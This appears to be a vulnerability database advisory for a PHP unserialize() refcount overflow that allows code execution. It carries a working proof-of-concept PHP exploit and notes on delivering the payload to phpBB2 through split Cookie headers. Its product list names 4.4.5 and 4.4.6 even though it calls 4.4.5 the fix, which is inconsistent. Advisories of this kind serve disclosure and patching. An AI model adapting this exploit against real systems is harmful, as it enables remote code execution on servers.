|
|
Info |
Last Modified |
| 16 days ago |
|
|
|
|
Keywords |
HPSBMA02215,SSRT071423
|
|
Description |
PHP contains a flaw that may a context-dependent attacker to elevate privileges. The issue can occur when the unserialize() function is used on an attacker supplied string, which can result in an integer overflow in the refcount variable in _zval_struct through the creation of a large number of references for a specific variable leading to a double destruction of the underlying variable. It is possible that the flaw may allow a remote attacker to execute arbitrary code resulting in a loss of integrity.
|
|
Classification |
Location:
Remote/Network Access Required
Attack Type:
Input Manipulation
Impact:
Loss of Integrity
Exploit:
Exploit Available
Disclosure:
OSVDB Verified
|
|
Technical |
The PHP 4.4.5 release announcement fails to mention that this vulnerability was patched in the 4.4.5 PHP version.
The exploit below is designed for Linux x86 systems where 0x08064058 is a readable address in the PHP process and will try to execute instruction at 0x99887766, which for arbitrary code execution would need to be replaced with a pointer to your shellcode.
-----------------
Exploit
-----------------
<?php
die("REMOVE THIS LINE");
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
?>
To exploit the PHP application phpBB2, which uses the unserialize() function, you would need to put a similar string into a cookie, working around the size limit of HTTP headers by using many Cookie: headers. Additionally, at the end of every line you would need to place a line terminator s:2:" and start every following line with ";N; of course with URL encoded ';'
|
|
Solution |
Upgrade to version 4.4.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.
|
|
Products |
|
PHP
 |
4.0 Beta 1 |
4.0 Beta 2 |
4.0 Beta 3 |
4.0 Beta 4 |
4.0.x |
4.1.x |
4.2.x |
4.4.0 |
4.4.2 |
4.4.1 |
4.3.x |
4.4.3 |
4.4.5 |
4.4.6 |
4.4.4 |
4.0, Release Candidate 2 |
4.0, Release Candidate 1 |
|
|
|
|
|
|
Credit |
- Stefan Esser - sesser
 hardened-php.net - www.hardened-php.net
|
|
BlogsProvided by Technorati
|
None found at this time
|
|
|
